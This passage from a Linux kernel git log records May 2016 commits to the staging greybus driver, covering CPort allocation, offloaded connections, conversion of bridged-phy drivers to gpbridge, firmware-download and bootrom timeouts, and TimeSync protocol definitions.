++++++++++++++++++---------------- 1 file changed, 18 insertions(+), 16 deletions(-) commit 3b05d8508f82fc18fe7ef0618671c0603c490c0d Author: Johan Hovold Date: Wed May 11 10:18:05 2016 +0200 greybus: connection: add camera-data connected workaround Firmware currently lacks a representation of the offloaded CDSI connections and connected requests sent for these ports therefore fails. Add a temporary work-around until this has been resolved in firmware. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Reviewed-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 045d356114557781f4b703ff569f2e3785e87b2e Author: Johan Hovold Date: Wed May 11 10:18:04 2016 +0200 greybus: es2: add support for CDSI1 allocation Use the new CPort-allocation callbacks to allow for rudimentary resource management of the CDSI CPorts. How to manage offloaded resources in a generic fashion is yet to be determined, but this minimal implementation will allow core to manage the camera data connection so that the current camera-driver hacks can be removed. This is specifically required to be able to implement proper connection closing and for power management. Note that the CDSI CPorts can not (currently) be reset through the USB vendor request. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.h | 1 + drivers/staging/greybus/es2.c | 59 ++++++++++++++++++++++++++++++++++++ 2 files changed, 60 insertions(+) commit e7b848c288dbcfb4b153ca5c772c8573caf739fb Author: Johan Hovold Date: Wed May 11 10:18:03 2016 +0200 greybus: es2: clean up cport-reset handling Move handling of CPort-reset exceptions to the reset handler. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit f2aae1c6e60f2acd636c005951a2c932bc5c8d05 Author: Johan Hovold Date: Wed May 11 10:18:02 2016 +0200 greybus: hd: generalise cport allocation Generalise CPort allocation by allowing host-device drivers to override the default implementation. Also pass the connection flags down the stack as such information is needed for proper CPort allocation. Specifically, this will initially be used to allow the camera driver to allocate the dedicated CDSI CPorts. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- drivers/staging/greybus/hd.c | 11 ++++++++++- drivers/staging/greybus/hd.h | 6 +++++- 3 files changed, 16 insertions(+), 3 deletions(-) commit 050615076699e537b26ed0934e105e78e7f1e765 Author: Johan Hovold Date: Wed May 11 10:18:01 2016 +0200 greybus: es2: clean up CDSI CPort reservation Clean up the CDSI CPort reservation by adding a host-device helper and CPort defines. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 25 ++++++++++++++++--------- drivers/staging/greybus/hd.c | 15 +++++++++++++++ drivers/staging/greybus/hd.h | 1 + 3 files changed, 32 insertions(+), 9 deletions(-) commit be5d01f10bdb782d31039930a9414c2f880e3430 Author: Johan Hovold Date: Wed May 11 10:18:00 2016 +0200 greybus: es2: fix probe error handling Make sure to return -ENODEV when the expected endpoints are missing and stop relying on a default error. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) commit 74a5d93cee1fb08d8e576888418ddd401aba6713 Author: Johan Hovold Date: Wed May 11 10:17:59 2016 +0200 greybus: hd: move CPort allocation to host-device code Move host-device CPort allocation to the host-device code. Proper CPort allocation requires knowledge of the hardware and must be handled by the host-device driver. This is an intermediate step that moves the generic CPort-allocation code to the host-device code. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 30 ++++++++---------------------- drivers/staging/greybus/hd.c | 26 ++++++++++++++++++++++++++ drivers/staging/greybus/hd.h | 3 +++ 3 files changed, 37 insertions(+), 22 deletions(-) commit a8af16313d18ce75d56c256fdfefed53a0572d45 Author: Johan Hovold Date: Wed May 11 10:17:58 2016 +0200 greybus: audio: mark the data connection as offloaded Mark the data-connection as offloaded, that is, under control of the host device (AP-bridge). This prevents messages from being sent from or forwarded to the AP. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_module.c | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) commit 781ac8662ffafa89e6675c3eb608ec9c569f24b7 Author: Johan Hovold Date: Wed May 11 10:17:57 2016 +0200 greybus: connection: add helper for creating offloaded connection Add helper for creating offloaded connection. This can later be extended to support more elaborate resource management. Also fix a minor white space issue. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 13 +++++++++++++ drivers/staging/greybus/connection.h | 4 +++- 2 files changed, 16 insertions(+), 1 deletion(-) commit ca1f8f809024db5fb1434d7e864a356fd5132c03 Author: Johan Hovold Date: Wed May 11 10:17:56 2016 +0200 greybus: connection: add offloaded connection flag Add an offloaded connection flag, which is used to mark a connection as offloaded and prevent drivers from initiating operation over it. This will be used for the audio and camera data connections. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.h | 6 ++++++ drivers/staging/greybus/operation.c | 8 ++++++-- 2 files changed, 12 insertions(+), 2 deletions(-) commit 0e9b41ab98ec8065263e6def8baebff1c1cd2c31 Author: Johan Hovold Date: Wed May 11 10:17:55 2016 +0200 greybus: connection: add no-flow-control connection flag Add a no-flow-control connection flag, which is set for connection that should not have any flow-control feature enabled. This flag is specifically set for all connections to the legacy ES3 bootrom, and will also be used by the camera driver eventually. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 7 ++++--- drivers/staging/greybus/connection.h | 7 +++++++ 2 files changed, 11 insertions(+), 3 deletions(-) commit 501cc8bd09485624beaeecf476739400977489b4 Author: Viresh Kumar Date: Thu May 12 11:26:48 2016 +0530 greybus: Fix probing of gpbridge devices The gpbridge core tries to match the driver's id-table against all CPorts available within the bundle for which the gpbridge bus was created. The gpbdev here is unique for a cport_desc and only a single cport_desc->protocol_id should be matched with the driver's id-table. Fix it. Tested on EVT 1.5 with a special manifest for GP module, where multiple CPorts are part of the same Bridged PHY bundle. Fixes: 75223f666687 ("gpbridge: implement gpbridge "bus" logic") Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.c | 29 ++++++----------------------- 1 file changed, 6 insertions(+), 23 deletions(-) commit e4e55360dd6b2263bbbc83bf0f04b0bd9bb1f8fd Author: Viresh Kumar Date: Thu May 12 11:34:05 2016 +0530 greybus: core: Rename greybus_module_match() greybus_module_match() doesn't match modules anymore but bundle devices and should be named correctly. Though we can use greybus_bundle_match() as well, rest of the kernel uses terminology like 'greybus_match_device' and so choosing that instead. Compile tested. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6f8a028fd17bbb3102c81dc4fd30f2d722234b5e Author: Viresh Kumar Date: Thu May 12 12:20:02 2016 +0530 greybus: gpbridge: Expose protocol_id in sysfs Right now, userspace doesn't have any way to find what protocol does a gpbridge device implement. And this is essential for the scripts to know, to expect what kind of device will be present inside the gpbN directory. Expose 'protocol_id' in sysfs to fix that. Tested by checking that the field appears with GP module on EVT 1.5. Signed-off-by: Viresh Kumar Reviewed-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.c | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) commit 792db396d3209f4e20aea8c73407ac1f34b45a2b Author: Johan Hovold Date: Mon May 9 14:40:10 2016 +0200 greybus: interface: remove unused interface-version quirk The interface-version request was just removed so remove the now unused interface-version quirk. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 5 +---- drivers/staging/greybus/interface.h | 5 ++--- 2 files changed, 3 insertions(+), 7 deletions(-) commit ae0f6454bbe74df324e47041e68018649ce0bcba Author: Johan Hovold Date: Mon May 9 14:40:09 2016 +0200 greybus: interface: fix type in enable error message Fix type of PTR_ERR in an interface-enable error message. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 03fba180ae4cc3bad27bd792e53dbb7ed2a9f7e7 Author: Jeffrey Carlyle Date: Wed May 11 10:08:55 2016 -0700 greybus: svc: support status in svc_intf_activate response Update per Greybus spec. Status attribute added to activate response to return more detailed information about errors during activate. If the Greybus response is GB_OP_SUCCESS, the caller must also check the status attribute in the response to determine if any other errors occurred. Testing done: along with matchine firmware change, verified that modules were detected and enumerated as expected. Signed-off-by: Jeffrey Carlyle Reviewed-by: Viresh Kumar drivers/staging/greybus/greybus_protocols.h | 19 +++++++++++++++++++ drivers/staging/greybus/svc.c | 5 +++++ 2 files changed, 24 insertions(+) commit c77bac08eca8b7dff3f76662cc8d439c111b8d0f Author: David Lin Date: Fri May 6 18:16:24 2016 -0700 greybus: operation: fix an inconsistent indent This patch fixes an inconsistent indent. Testing Done: - Build & boot Signed-off-by: David Lin Acked-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c6cc8e73eb188156494e061bdb93966b0c7d9443 Author: Viresh Kumar Date: Mon May 9 10:59:01 2016 +0530 greybus: fw-download: Replace timer with delayed-work The timeout-handlers need to call routines that can sleep and those can't be called from interrupt context. The timer-handler is called in interrupt context and so will hit a BUG() in vmalloc.c. This patch moves away from timers to delayed-work, whose timeout handler gets called in process context and can call the sleep-able routines safely. Note that this issue wasn't hit earlier when the initial patch for timeouts was implemented due to some issues in the build arche_420. But with the new build arche_440, the BUG started crashing the phone on timeouts and so this fix is required. Tested on EVT 1.5 by triggering fake timeouts, by not sending release-firmware request for example. This is tested with build arche_440. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-download.c | 26 ++++++++++++-------------- 1 file changed, 12 insertions(+), 14 deletions(-) commit a956d939af9e73d3375f52d5c5c63ab824e59c8b Author: Viresh Kumar Date: Mon May 9 10:59:00 2016 +0530 greybus: bootrom: Implement timeouts to detect Module failures Its possible that the Module may fail to download the next stage firmware, or to jump into it and boot into the new personality. We have already seen examples of both of these cases on EVT 1.5. This patch implements timeouts in the bootrom bundle driver, which now expects the next request from the Module to be received at the AP within 1 second of the previous request/response. The time interval can be increased later if required. The timeouts are added between: - AP_READY and FIRMWARE_SIZE operations - FIRMWARE_SIZE and GET_FIRMWARE operations - Two GET_FIRMWARE operations - GET_FIRMWARE and READY_TO_BOOT operations - READY_TO_BOOT operation and the call to the ->disconnect() event of the bootrom bundle (once the new hotplug request is received). The timeout for the last case is kept at 5 seconds right now (random value), as it may take a bit longer. Because 'bootrom->fw' can be accessed simultaneously (from timeout handler and incoming requests) and one of them can potentially free the '->fw' structure, a mutex is also added to take care of such races while accessing 'bootrom->fw' structure. Also note that the '!bootrom->fw' check is moved to free_firmware() routine. Note that this version uses delayed-work (instead of timers used in earlier attempt), as we need to call routines that can sleep from the timeout handler. Tested on EVT 1.5, by faking errors on certain requests, so that the bootrom doesn't send any more requests. Normal case is working just fine for audio and GP modules. This is tested with build arche_440. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bootrom.c | 122 ++++++++++++++++++++++++++++++++------ 1 file changed, 103 insertions(+), 19 deletions(-) commit 140026b32f953593eb8678d67fcc95534efe1b49 Author: Jeffrey Carlyle Date: Fri May 6 12:43:53 2016 -0700 greybus: svc: implement svc_intf_activate With upcoming firmware changes we will switch from an SVC-driven module boot sequence to an AP-driven module sequence. This operation allows the AP to request the SVC to boot a module to which the AP has previouslt requested power be applied. This operation will also determine if the remote interface is a dummy module, UniPro-only module, or full Greybus module. Testing done: Tested together with "new" firmware boot sequence to verify that modules are detected and booted as expected. Signed-off-by: Jeffrey Carlyle Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) commit 144763bf8efd8bfc6b0c582fdf3f77564fc0296f Author: Jeffrey Carlyle Date: Fri May 6 12:43:52 2016 -0700 greybus: svc: implement svc_intf_{vsys,refclk,unipro}_{enable,disable} operations Add SVC operations for fine grain control over vsys, refclk, and unipro port power. Testing done: used "new" firmware boot sequence to verify that modules were correctly detected and booted. Signed-off-by: Jeffrey Carlyle Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 43 +++++++++++++++++++++++ drivers/staging/greybus/svc.c | 54 +++++++++++++++++++++++++++-- 2 files changed, 94 insertions(+), 3 deletions(-) commit 03b4fa4b5dd9ecd11c27cdaeacf46453a948df5a Author: Jeffrey Carlyle Date: Fri May 6 11:29:37 2016 -0700 greybus: Revert "bootrom: Implement timeouts to detect Module failures" This reverts commit 571348253032a86e4f0102d4dfadd390d0ea7e64. With this patch gb_bootrom_timedout was getting called in interrupt context and then proceeding to call functions that might block. In practical terms, this was leading to a kernel BUG at mm/vmalloc.c:1650. Signed-off-by: Jeffrey Carlyle Acked-by: Johan Hovold drivers/staging/greybus/bootrom.c | 124 ++++++-------------------------------- 1 file changed, 19 insertions(+), 105 deletions(-) commit 69c8763eb883a331832b58e842fa0b01321ed9d6 Author: Viresh Kumar Date: Thu May 5 15:33:20 2016 +0530 greybus: fw-download: Introduce timeouts for firmware downloads As per greybus specification, the AP can apply, implementation dependent, timeouts for: - The time interval between the Find Firmware Response and the first Fetch Firmware Request. - The time interval between a Fetch Firmware Response and the next Fetch Firmware Request. - The time interval between a Fetch Firmware Response and the Release Firmware Request. - The time interval between the Find Firmware Response and the Release Firmware Request. This patch implements those timeouts. The timeout period for the first three cases is fixed to one-second and the timeout for the last one is finalized at runtime, dependent on the total size of the firmware. There can be two possible paths now, which may race for freeing or getting the 'struct fw_request'. They are: - Request handler: initiated from the Module side. - Timeout handler: initiated on timeout of the programmed timer. And so a mutex is added to avoid races. Every caller which needs to access the 'struct fw_request' increments the reference count, so that the structure doesn't get freed in parallel. Once the structure is freed and reference is put by all the users, the structure is freed. If we timeout while waiting for a request from the Module, the AP frees the 'struct fw_request', but does *not* free the request-id. This is done to guarantee that a delayed request from the Module for the expired id, doesn't get access to a new 'struct fw_request' allocated later with the same id. Tested with gbsim by hacking its code to delay the release request and indefinitely fetch the same section of the firmware package. Both timed out on the AP side and the 'struct fw_request' is free properly. Further requests work fine after few are timed out. And rmmod (followed by more similar testing) works just fine. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-download.c | 158 +++++++++++++++++++++++++++++++--- 1 file changed, 145 insertions(+), 13 deletions(-) commit f63a896e532b12f9104749b13861080981b64bad Author: Viresh Kumar Date: Thu May 5 15:33:19 2016 +0530 greybus: fw-download: Manage firmware requests with kref This patch updates the fw-download core to manage firmware requests with kref. This is required for the next patch, which will introduce timeouts for firmware downloads. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-download.c | 57 ++++++++++++++++++++++++++++------- 1 file changed, 46 insertions(+), 11 deletions(-) commit c4058b7926a44387b1d2480be0f209edb74e7f1c Author: Bryan O'Donoghue Date: Thu May 5 15:34:59 2016 +0100 greybus: arche-platform: Rework platform/wd-line state transition logic This patch simplifies and improves the readability of the internal state transition logic of arche platform driver state transition logic by: 1. Making a dedicated function to state-transition the platform code. 2. Condense the decision to swtich states down to a single switch statement instead of four separate if/else clauses. Signed-off-by: Bryan O'Donoghue Suggested-by: Alex Elder Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 73 +++++++++++++++++++++----------- 1 file changed, 48 insertions(+), 25 deletions(-) commit 886aba558b9e63c7025cabfaff8ca17f9fc02985 Author: Vaibhav Hiremath Date: Thu May 5 15:34:58 2016 +0100 greybus: arche-platform: Export fn to allow timesync driver to change the state With the addition of the timesync driver and looking at the hardware interfaces we have, its clear we need to add a new arche-platform state. This patch adds ARCHE_PLATFORM_STATE_TIME_SYNC to the arche-platform driver to facilitate transition to the TIME_SYNC state if-and-only-if the arche-platform driver is in the ACTIVE state. This is mainly needed as wake/detect lines are shared between TIMESYNC operation and basic control functionality of APBs. So during TIMESYNC we want to make sure that the events on wake/detect lines are ignored by the arche-platform APB reset logic. This patch adds one exported function, which can be invoked from timesync driver code, allowing, switching between ARCHE_PLATFORM_STATE_TIME_SYNC <=> ARCHE_PLATFORM_STATE_ACTIVE states. [ bryan.odonoghue@linaro.org: Added mutex, massaged commit text ] Reviewed-by: Vaibhav Hiremath Signed-off-by: Vaibhav Hiremath Signed-off-by: Bryan O'Donoghue Suggested-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 125 +++++++++++++++++++++++++++++-- drivers/staging/greybus/arche_platform.h | 2 + 2 files changed, 119 insertions(+), 8 deletions(-) commit 6c1ca56d85377498bec760064c02e33f4678a2dd Author: Vaibhav Hiremath Date: Thu May 5 15:34:57 2016 +0100 greybus: arche-platform: Rename spinlock variable lock => wake_detect_lock With addition of exported function, required for TIMESYNC operation, we need more locking mechanism for driver state, so to avoid confusion rename existing spinlock variable to its appropriate name. Testing Done: Tested on DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Bryan O'Donoghue Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 26 ++++++++++++++------------ 1 file changed, 14 insertions(+), 12 deletions(-) commit 521d0d538036267fcc1bfab9f2f6e550250caf72 Author: Bryan O'Donoghue Date: Thu May 5 15:34:56 2016 +0100 greybus: greybus_protocols.h Add SVC_TIMESYNC_PING In order to verify TimeSync functionality we require a TimeSync-ping operation where the AP can command the SVC to initiate a single strobe of downstream TimeSync slaves, and report the FrameTime at the strobe. Ping will only be valid after the system has transitioned to a TIMESYNC_ACTIVE state. In the active state each TimeSync slave will graph a single incoming SVC strobe as a ping and will store its frame time. The AP will then gather each last-event FrameTime for presentation to user-space in the AP and/or further automation based on the reported FrameTimes at the SVC ping. This patch adds the SVC ping command definition to greybus_protocols.h. Signed-off-by: Bryan O'Donoghue Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 6 ++++++ 1 file changed, 6 insertions(+) commit 596e4a1933e4f6f2b19d5c05884d35cb91e3cf58 Author: Bryan O'Donoghue Date: Thu May 5 15:34:55 2016 +0100 greybus: greybus_protocols.h Add SVC_TIMESYNC_WAKE_PINS_ACQUIRE/RELEASE Its necessary to establish an initial state on the wake-detect lines before enabling timesync on APB/GPB in order to ensure all GPIO edge-transitions are correctly interpreted by the receiving processor. This patch adds the operations defined in the Greybus specification to greybus_protocols.h, this involves adding the SVC_TIMESYNC_WAKE_PINS_ACQUIRE and SVC_TIMESYNC_WAKE_PINS_RELEASE commands and moving the 'strobe_mask' parameter from 'struct gb_svc_timesync_enable_request' to 'struct gb_svc_timesync_wd_pins_acquire_request' since the communication of the strobe_mask will be communicated before preparing any of the bridges to receive the TimeSync pulses. A separate patch to the greybus specification describes the transition between the wake sub-state and the timesync sub-state. Signed-off-by: Bryan O'Donoghue Reviewed-by: Vaibhav Hiremath Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit 5015d5cff9ff0aabbe744522f3c5b5a945a649ef Author: Bryan O'Donoghue Date: Thu May 5 15:34:54 2016 +0100 greybus: greybus_trace.h: Fix dodgy indentation We should use tabs not spaces when indenting multi-line macros and ensure that the relevant '\' characters are aligned to each-other. Signed-off-by: Bryan O'Donoghue Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 73d292d8381d9c384796c876ba752ccd18a09d1f Author: Viresh Kumar Date: Thu May 5 14:32:38 2016 +0530 greybus: uart: Kill reference_count hack This was done long back and was probably the best bet then, but it looks really bad to have it this way now. Kill the hack and implement proper driver init()/exit() routines to do the same thing. Tested using gbsim by hotplugging uart manifest and removing it later. Also tried removing the gb-phy module to test the exit path properly. Signed-off-by: Viresh Kumar Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 51 +++++++++++++++++++++--------------------- 1 file changed, 26 insertions(+), 25 deletions(-) commit ceadf9def1329c856fe94ca8aecc9ff7866e827b Author: Vaibhav Hiremath Date: Thu May 5 14:32:37 2016 +0530 greybus: Documentation: Add sysfs information about bridged-phy device Update the documentation (sysfs-bus-greybus) for recent conversion of bridged-phy drivers to real drivers. Signed-off-by: Vaibhav Hiremath Reviewed-by: Viresh Kumar Tested-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs-bus-greybus | 8 ++++++++ 1 file changed, 8 insertions(+) commit 4dda7e96cfc6474d88682547180a9e42687c5a6e Author: Greg Kroah-Hartman Date: Thu May 5 14:32:36 2016 +0530 greybus: USB: convert to a gpbridge driver This converts the USB driver to be a gpbridge driver, moving it away from the "legacy" interface. It's not like this code even does anything at the moment, how much trouble could we cause with this change? :) Testing Done: Tested on gbsim. Signed-off-by: Greg Kroah-Hartman Signed-off-by: Vaibhav Hiremath [vaibhav.hiremath@linaro.org: 1.Changed code to retain init/exit fns of drivers. 2.Exit path fix. 3. Fixed review comments] Reviewed-by: Viresh Kumar Tested-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.c | 11 +++--- drivers/staging/greybus/gpbridge.h | 4 +-- drivers/staging/greybus/legacy.c | 1 - drivers/staging/greybus/usb.c | 68 ++++++++++++++++++++++++++------------ 4 files changed, 55 insertions(+), 29 deletions(-) commit ba3e67001b42626dec862410310d30db586074d5 Author: Greg Kroah-Hartman Date: Thu May 5 14:32:35 2016 +0530 greybus: SPI: convert to a gpbridge driver This converts the SPI driver to be a gpbridge driver, moving it away from the "legacy" interface. Testing Done: Tested on gbsim. Signed-off-by: Greg Kroah-Hartman Signed-off-by: Vaibhav Hiremath [vaibhav.hiremath@linaro.org: 1.Changed code to retain init/exit fns of drivers. 2.Exit path fix. 3. Fixed review comments] Reviewed-by: Viresh Kumar Tested-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.c | 7 ++-- drivers/staging/greybus/gpbridge.h | 4 +- drivers/staging/greybus/legacy.c | 1 - drivers/staging/greybus/spi.c | 79 +++++++++++++++++++++++++++----------- 4 files changed, 62 insertions(+), 29 deletions(-) commit dcd2086aa87e274e2f2f96eae449a27548637dd9 Author: Greg Kroah-Hartman Date: Thu May 5 14:32:34 2016 +0530 greybus: SDIO: convert to a gpbridge driver This converts the SDIO driver to be a gpbridge driver, moving it away from the "legacy" interface. Testing Done: Tested on gbsim. Signed-off-by: Greg Kroah-Hartman Signed-off-by: Vaibhav Hiremath [vaibhav.hiremath@linaro.org: 1.Changed code to retain init/exit fns of drivers. 2.Exit path fix. 3. Fixed review comments] Reviewed-by: Viresh Kumar Tested-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.c | 9 +++-- drivers/staging/greybus/gpbridge.h | 4 +- drivers/staging/greybus/legacy.c | 1 - drivers/staging/greybus/sdio.c | 83 ++++++++++++++++++++++++++------------ 4 files changed, 64 insertions(+), 33 deletions(-) commit 315bea0e9605a2f506606bdb2a531149a022394d Author: Greg Kroah-Hartman Date: Thu May 5 14:32:33 2016 +0530 greybus: GPIO: convert to a gpbridge driver This converts the GPIO driver to be a gpbridge driver, moving it away from the "legacy" interface. Testing Done: Tested on gbsim. Signed-off-by: Greg Kroah-Hartman Signed-off-by: Vaibhav Hiremath [vaibhav.hiremath@linaro.org: 1.Changed code to retain init/exit fns of drivers. 2.Exit path fix. 3. Fixed review comments] Reviewed-by: Viresh Kumar Tested-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.c | 9 ++-- drivers/staging/greybus/gpbridge.h | 4 +- drivers/staging/greybus/gpio.c | 100 ++++++++++++++++++++++++------------- drivers/staging/greybus/legacy.c | 1 - 4 files changed, 73 insertions(+), 41 deletions(-) commit cf1d8bee59aa995fcc6514be7a67e9575bbe5498 Author: Greg Kroah-Hartman Date: Thu May 5 14:32:32 2016 +0530 greybus: I2C: convert to a gpbridge driver This converts the I2C driver to be a gpbridge driver, moving it away from the "legacy" interface. Testing Done: Tested on gbsim. Signed-off-by: Greg Kroah-Hartman Signed-off-by: Vaibhav Hiremath [vaibhav.hiremath@linaro.org: 1.Changed code to retain init/exit fns of drivers. 2.Exit path fix. 3. Fixed review comments] Reviewed-by: Viresh Kumar Tested-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.c | 9 ++--- drivers/staging/greybus/gpbridge.h | 4 +-- drivers/staging/greybus/i2c.c | 71 +++++++++++++++++++++++++++----------- drivers/staging/greybus/legacy.c | 1 - 4 files changed, 57 insertions(+), 28 deletions(-) commit 320549086d1e985c09fd6635075ab45a3421038e Author: Greg Kroah-Hartman Date: Thu May 5 14:32:31 2016 +0530 greybus: PWM: convert to a gpbridge driver This converts the PWM driver to be a gpbridge driver, moving it away from the "legacy" interface. Testing Done: Tested on gbsim. Signed-off-by: Greg Kroah-Hartman Signed-off-by: Vaibhav Hiremath [vaibhav.hiremath@linaro.org: 1.Changed code to retain init/exit fns of drivers. 2.Exit path fix. 3. Fixed review comments] Reviewed-by: Viresh Kumar Tested-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.c | 9 +++--- drivers/staging/greybus/gpbridge.h | 4 +-- drivers/staging/greybus/legacy.c | 1 - drivers/staging/greybus/pwm.c | 66 ++++++++++++++++++++++++++------------ 4 files changed, 53 insertions(+), 27 deletions(-) commit 7dbe1f497b445ead3a6c5f0895d002960a2b07f2 Author: Greg Kroah-Hartman Date: Thu May 5 14:32:30 2016 +0530 greybus: UART: convert to a gpbridge driver This converts the UART driver to be a gpbridge driver, moving it away from the "legacy" interface. Testing Done: Tested on gbsim. Signed-off-by: Greg Kroah-Hartman Signed-off-by: Vaibhav Hiremath [vaibhav.hiremath@linaro.org: 1.Changed code to retain init/exit fns of drivers. 2.Exit path fix. 3. Fixed review comments] Reviewed-by: Viresh Kumar Tested-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.c | 9 +-- drivers/staging/greybus/gpbridge.h | 4 +- drivers/staging/greybus/legacy.c | 1 - drivers/staging/greybus/uart.c | 114 ++++++++++++++++++++++++------------- 4 files changed, 80 insertions(+), 48 deletions(-) commit 6d58e7144473f46c245792380c8fc1c7e928147e Author: Vaibhav Hiremath Date: Thu May 5 14:32:29 2016 +0530 greybus: connection: export gb_connection_disable_rx() fn gb_connection_disable_rx() fn is required to be used by other modules (e.g. bridged-phy drivers) and so export it. Testing Done: Tested on gbsim. Signed-off-by: Vaibhav Hiremath Reviewed-by: Viresh Kumar Tested-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 1 + 1 file changed, 1 insertion(+) commit ac4cbc575153fe8044d1e7d7742889ab0850913a Author: Vaibhav Hiremath Date: Thu May 5 14:32:28 2016 +0530 greybus: gpbridge: Add gpbridge driver init/exit helper macros In order to help bridged-phy drivers to define init()/exit() functions, define helper macro in gpbridge.h file. Testing Done: Tested on gbsim. Signed-off-by: Vaibhav Hiremath Reviewed-by: Viresh Kumar Tested-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.h | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 1d5f9ef9ef8de94331ce5ab31d4b05324885ce6c Author: Greg Kroah-Hartman Date: Thu May 5 14:32:27 2016 +0530 greybus: gpbridge: implement gpbridge "bus" logic This creates a gpbridge "bus" that will be used to create devices that are the bridged phy devices that correspond to the protocols being implemented. Testing Done: Tested on gbsim. Signed-off-by: Greg Kroah-Hartman Signed-off-by: Vaibhav Hiremath [vaibhav.hiremath@linaro.org: 1.Changed code to retain init/exit fns of drivers. 2.Exit path fix. 3. Fixed review comments] Reviewed-by: Viresh Kumar Tested-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.c | 278 +++++++++++++++++++++++++++++++++++-- drivers/staging/greybus/gpbridge.h | 47 +++++++ 2 files changed, 313 insertions(+), 12 deletions(-) commit 0decdd55b38ac8276a1039654e529120f65ee366 Author: Viresh Kumar Date: Thu May 5 08:49:58 2016 +0530 greybus: Revert "interface: Fetch and expose version of interface's firmware" This reverts commit b957ade7b3e4ab8c149c53346dbf02e977b7f3a7. The interface version is now managed as part of the firmware-management protocol. This operation is already removed from the greybus specifications. Drop interface version support from greybus. Tested with gbsim (sysfs file not available after this patch). Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Acked-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 8 ------- drivers/staging/greybus/control.c | 28 ---------------------- drivers/staging/greybus/control.h | 1 - 